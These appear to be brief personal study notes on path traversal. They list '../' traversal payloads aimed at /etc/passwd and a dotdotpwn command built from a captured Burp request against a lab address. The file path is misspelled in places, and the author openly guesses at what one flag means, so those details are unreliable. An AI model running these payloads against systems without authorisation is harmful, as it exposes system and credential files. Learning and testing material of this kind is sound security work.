Path/Directory Traversal



  1. Path Traversal - file: -
    1. Access files of the system outside the webroot directory.
    2. In path traversal vulnerability, we can just view the content of the file or view the directories, we cannot execute a file.
    3. Payload can be used : - 
      1. ../../
      2. ./
      3. /
      4. /etc/paaswd
      5. ../../../../etc/paaswd
    4. Tool is also available: -
      1. First, you need to capture a burp request.
      2. This request will be a path traversal vulnerability request.
      3. In the parameter of “path traversal”, you need to write “ TRAVERSAL”.
      4. Right click >> copy to file >> save it as pay.txt files.
      5. dotdotpwn  tool is also available, you can download it if not available in your kali version. It is written in perl.
      6. Usage : - dotdotpwn -m payload -h 192.168.32.129 -p <<file address, pay.txt>> -o unix -f /etc/passwd -d 3 -x 80 -b -k “root”
      7. -m  payload = burp request is a payload
      8. -h         = host/url
      9. -p         = pay.txt
      10. -o         = target os type unix or windows etc..
      11.  -d 3         = depth of payload
      12. -x        = port number 80 or 443
      13. -b        = stop the enumeration once first path traversal vulnerability is found
      14. -k        = search for it , do not know clearly. Maybe file read permission.

Comments